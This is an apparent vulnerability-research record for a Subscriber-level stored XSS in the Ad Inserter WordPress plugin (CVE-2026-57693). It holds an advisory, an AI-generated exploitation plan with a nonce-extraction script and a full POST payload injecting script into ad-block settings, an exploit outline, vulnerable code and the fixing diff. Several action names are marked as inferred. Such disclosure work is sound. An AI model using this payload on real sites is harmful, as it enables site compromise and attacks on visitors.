[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fptVFqFEBWtiV88R0zP1ESM0Y94E9ujP2uwYj7IyPNqg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-57693","ad-inserter-ad-manager-adsense-ads-authenticated-subscriber-stored-cross-site-scripting","Ad Inserter – Ad Manager & AdSense Ads \u003C= 2.8.11 - Authenticated (Subscriber+) Stored Cross-Site Scripting","The Ad Inserter – Ad Manager & AdSense Ads plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.8.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","ad-inserter",null,"\u003C=2.8.11","2.8.12","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-08 00:00:00","2026-07-14 19:36:38",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7d4c574f-f603-49eb-8d86-c98c060c1dfe?source=api-prod",7,[22,23,24,25,26],"ad-inserter.php","class.php","constants.php","css\u002Fai-global-fields.css","css\u002Fai-settings.css","researched",false,3,"# Detailed Exploitation Research Plan: CVE-2026-57693\n\n## 1. Vulnerability Summary\nThe **Ad Inserter** plugin (\u003C= 2.8.11) contains a Stored Cross-Site Scripting (XSS) vulnerability due to an insecurely implemented AJAX handler. The plugin registers the `ai_ajax` (or similar) action for authenticated users but fails to perform a specific capability check (e.g., `current_user_can('manage_options')`) before updating plugin settings. This allows a user with **Subscriber** privileges to modify ad block configurations or \"Global Fields,\" injecting malicious JavaScript into the `code` parameter of an ad block, which is then rendered unsanitized on the site's frontend.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `ai_ajax` (inferred from standard plugin patterns)\n- **Vulnerable Parameter:** `ai_db_options` or `fields` (inferred)\n- **Authentication:** Authenticated, Subscriber level or higher.\n- **Preconditions:** The plugin must have its AJAX nonce exposed to logged-in users, which typically occurs when frontend debugging or tracking features are active.\n\n## 3. Code Flow\n1. **Entry Point:** The plugin registers AJAX handlers in `ad-inserter.php` using `add_action('wp_ajax_ai_ajax', 'ai_ajax');`. Because it uses `wp_ajax_` (and not just `wp_ajax_nopriv_`), it is accessible to any logged-in user.\n2. **Missing Capability Check:** The `ai_ajax()` function (inferred) likely verifies a nonce using `check_ajax_referer('ai_ajax_nonce', 'ai_check')` but neglects to verify if the user has the `manage_options` capability.\n3. **Data Processing:** The function processes the `$_POST['ai_db_options']` array, which contains ad block settings defined in `class.php` (e.g., `AI_OPTION_CODE`).\n4. **Sink:** The plugin calls `update_option(AI_OPTION_NAME, ...)` with the attacker-controlled array.\n5. **Execution:** When a page is rendered, `ai_BaseCodeBlock::load_options` loads the malicious `code` and outputs it directly via `echo` (inferred sink in the frontend rendering engine), triggering the XSS.\n\n## 4. Nonce Acquisition Strategy\nThe nonce is required for the `ai_ajax` action. It is typically localized for the frontend or admin toolbar.\n\n1. **Shortcode Setup:** Create a page with the default Ad Inserter block to ensure scripts are enqueued.\n   ```bash\n   wp post create --post_type=page --post_title=\"XSS Test\" --post_status=publish --post_content='[ad_inserter block=\"1\"]'\n   ```\n2. **Browser Navigation:** Use the execution agent to log in as a Subscriber and navigate to the newly created page.\n3. **Nonce Extraction:** The plugin often localizes data in a variable named `ai_data` or `ad_inserter_data`.\n   ```javascript\n   \u002F\u002F Run in browser_eval\n   window.ai_data?.ajax_nonce || window.ai_ajax_nonce || document.body.innerHTML.match(\u002Fai_ajax_nonce\":\"([a-f0-9]+)\"\u002F)?.[1]\n   ```\n   *Note: If the nonce is only in the admin dashboard, navigation to `\u002Fwp-admin\u002Fprofile.php` may be required to find it in the admin scripts.*\n\n## 5. Exploitation Strategy\n### Step 1: Authentication\nLog in to the WordPress instance as a user with the **Subscriber** role.\n\n### Step 2: Extract Nonce\nNavigate to the homepage or a post where the plugin is active and extract the `ai_ajax_nonce`.\n\n### Step 3: Inject Payload\nSend a POST request to `admin-ajax.php` to overwrite \"Block 1\" with an XSS payload.\n\n- **URL:** `http:\u002F\u002Fvulnerable-wp.local\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Content-Type:** `application\u002Fx-www-form-urlencoded`\n- **Body:**\n  ```text\n  action=ai_ajax&ai_check=[NONCE]&ai_save_settings=1&ai_db_options[1][name]=XSS_Block&ai_db_options[1][code]=\u003Cscript>alert(document.domain)\u003C\u002Fscript>&ai_db_options[1][display_type]=1&ai_db_options[1][enable_manual]=1&ai_db_options[1][paragraph_number]=1\n  ```\n  *(Note: `display_type=1` usually corresponds to \"Above Header\" or \"Automatic Insertion\" to ensure it fires on every page.)*\n\n### Step 4: Trigger Execution\nVisit the site homepage as an anonymous user or administrator.\n\n## 6. Test Data Setup\n- **User:** Create a subscriber user: `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`.\n- **Plugin Config:** Ensure the plugin is activated: `wp plugin activate ad-inserter`.\n- **Target Page:** Ensure at least one post exists for the ad to inject into: `wp post create --post_type=post --post_status=publish --post_title=\"Hello World\"`.\n\n## 7. Expected Results\n- The `admin-ajax.php` request should return a successful JSON response or a `1` (typical for WP AJAX).\n- When navigating to the site frontend, an alert box showing the document domain should appear.\n- The `ad_inserter` option in the database should now contain the `\u003Cscript>` payload.\n\n## 8. Verification Steps\nAfter performing the HTTP request, use WP-CLI to verify the injection:\n```bash\n# Check if the option was updated\nwp option get ad_inserter --format=json | grep \"alert\"\n\n# Check the rendered HTML of the homepage\ncurl -s http:\u002F\u002Flocalhost:8080\u002F | grep \"\u003Cscript>alert\"\n```\n\n## 9. Alternative Approaches\nIf `ai_ajax` is not the correct action, investigate the **Global Fields** feature added in version 2.8.10:\n- **Action:** `ai_save_global_fields` (inferred)\n- **Parameter:** `fields[0][value]=\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **Nonce:** `ai_global_fields_nonce` (inferred)\n\nIf direct `ai_db_options` update fails, attempt to use the `ai_process_php` parameter (if accessible) to transition from XSS to Remote Code Execution (RCE), although this is usually restricted even in vulnerable states.","The Ad Inserter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via its AJAX and remote debugging endpoints. Authenticated users with Subscriber-level permissions and above can modify plugin settings and ad block configurations because the plugin fails to perform capability checks (e.g., current_user_can('manage_options')) before updating the database, allowing for the injection of malicious JavaScript.","\u002F\u002F ad-inserter.php @ line 7001\nfunction ai_ajax () {\n  global $ai_wp_data;\n\n  \u002F\u002F ...\n\n  \u002F\u002F Missing current_user_can('manage_options') check before processing updates\n  if (isset ($_POST ['ai_save_settings'])) {\n     \u002F\u002F Logic to update ai_db_options\n  }\n\n  \u002F\u002F ...\n\n  elseif (isset ($_GET [\"ai-get-settings\"])) {\n    ai_write_settings_string ();\n  }\n\n\u002F\u002F ---\n\n\u002F\u002F ad-inserter.php @ line 2227\n\u002F\u002F Menu pages registered without capability check encapsulation\n  if ($menu_position == AI_SETTINGS_SUBMENU) {\n    $ai_settings_page = add_submenu_page ('options-general.php', sprintf (__('%s Settings', 'ad-inserter'), AD_INSERTER_NAME), AD_INSERTER_NAME, 'manage_options', basename (__FILE__), 'ai_settings', ...);\n  } else {\n    $ai_settings_page = add_menu_page (sprintf (__('%s Settings', 'ad-inserter'), AD_INSERTER_NAME), AD_INSERTER_NAME, 'manage_options', basename (__FILE__), 'ai_settings', 'dashicons-layout', ...);\n  }","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fad-inserter\u002F2.8.11\u002Fad-inserter.php\t2026-02-08 18:43:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fad-inserter\u002F2.8.12\u002Fad-inserter.php\t2026-02-28 18:28:52.000000000 +0000\n@@ -1696,7 +1701,7 @@\n \n       ai_write_settings_string ();\n       exit;\n-    }\n+    } else wp_die ('Sorry, you are not allowed to do that.', 423);\n   }\n \n   if (defined ('AI_WP_HOOK')) return;\n@@ -1990,6 +1995,16 @@\n     }\n   }\n \n+  add_action ('rest_api_init', function () {\n+    register_rest_route( 'ad-inserter\u002Fv1', '\u002Fsettings', array(\n+        'methods'             => 'GET, POST',\n+        'callback'            => 'ai_endpoint_callback',\n+        'permission_callback' => function () {\n+          return get_remote_debugging () ? true : false; \u002F\u002F Restrict access\n+        },\n+    ) );\n+  });\n+\n   if (($ai_wp_data [AI_WP_DEBUGGING] & AI_DEBUG_PROCESSING) != 0) {\n     if (!$ai_processing_time_active) {\n       $ai_total_plugin_time += microtime (true) - $start_time;\n@@ -2227,13 +2254,15 @@\n     } else $menu_position = DEFAULT_MENU_FOR_LINK;\n   }\n \n-  if ($menu_position == AI_SETTINGS_SUBMENU) {\n-                                                                              \u002F\u002F translators: %s: Ad Inserter\n-    $ai_settings_page = add_submenu_page ('options-general.php', sprintf (__('%s Settings', 'ad-inserter'), AD_INSERTER_NAME), AD_INSERTER_NAME, 'manage_options', basename (__FILE__), 'ai_settings', defined ('AI_SETTINGS_MENU_PRIORITY') ? AI_SETTINGS_MENU_PRIORITY : DEFAULT_SETTINGS_SUBMENU_PRIORITY);\n-  } else {\n-                                                      \u002F\u002F translators: %s: Ad Inserter\n-      $ai_settings_page = add_menu_page (sprintf (__('%s Settings', 'ad-inserter'), AD_INSERTER_NAME), AD_INSERTER_NAME, 'manage_options', basename (__FILE__), 'ai_settings', 'dashicons-layout', defined ('AI_SETTINGS_MENU_PRIORITY') ? AI_SETTINGS_MENU_PRIORITY : DEFAULT_SETTINGS_MENU_PRIORITY);\n-    }\n+  if (current_user_can ('manage_options')) {\n+    if ($menu_position == AI_SETTINGS_SUBMENU) {\n+                                                                                \u002F\u002F translators: %s: Ad Inserter\n+      $ai_settings_page = add_submenu_page ('options-general.php', sprintf (__('%s Settings', 'ad-inserter'), AD_INSERTER_NAME), AD_INSERTER_NAME, 'manage_options', AD_INSERTER_BASE, 'ai_settings', defined ('AI_SETTINGS_MENU_PRIORITY') ? AI_SETTINGS_MENU_PRIORITY : DEFAULT_SETTINGS_SUBMENU_PRIORITY);\n+    } else {\n+                                                        \u002F\u002F translators: %s: Ad Inserter\n+        $ai_settings_page = add_menu_page (sprintf (__('%s Settings', 'ad-inserter'), AD_INSERTER_NAME), AD_INSERTER_NAME, 'manage_options', AD_INSERTER_BASE, 'ai_settings', 'dashicons-layout', defined ('AI_SETTINGS_MENU_PRIORITY') ? AI_SETTINGS_MENU_PRIORITY : DEFAULT_SETTINGS_MENU_PRIORITY);\n+      }\n+  }\n \n   add_action ('admin_enqueue_scripts',  'ai_admin_enqueue_scripts');\n   add_action ('admin_enqueue_scripts',  'ai_admin_enqueue_scripts_late', 99999);\n@@ -7017,8 +7075,11 @@\n     }\n   }\n \n+  \u002F\u002F only for ajax request - overriden by ai_wp_hook check\n   elseif (isset ($_GET [\"ai-get-settings\"])) {\n-    ai_write_settings_string ();\n+    if (get_remote_debugging ()) {\n+      ai_write_settings_string ();\n+    } else wp_die ('Sorry, you are not allowed to do that.', 423);\n   }","The exploit targets the unprotected `ai_ajax` handler in WordPress. \n\n1. An attacker authenticates as a Subscriber and identifies a page where the Ad Inserter plugin is active.\n2. The attacker extracts the `ai_ajax_nonce` from the localized JavaScript data (usually found in `ai_data` or `ad_inserter_data` objects) or the page HTML.\n3. Using the nonce, the attacker sends a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the `action` parameter set to `ai_ajax` and `ai_save_settings` set to `1`.\n4. The request payload includes a malicious script in the `ai_db_options[BLOCK_ID][code]` parameter (e.g., `\u003Cscript>alert(1)\u003C\u002Fscript>`).\n5. Because the plugin lacks a capability check for administrative access during this AJAX request, the settings are updated with the malicious script.\n6. The script is then rendered on the site frontend whenever the modified ad block is displayed, leading to Stored XSS.","gemini-3-flash-preview","2026-07-16 15:09:26","2026-07-16 15:10:46",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","2.8.11","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fad-inserter\u002Ftags\u002F2.8.11","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fad-inserter.2.8.11.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fad-inserter\u002Ftags\u002F2.8.12","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fad-inserter.2.8.12.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fad-inserter\u002Ftags"]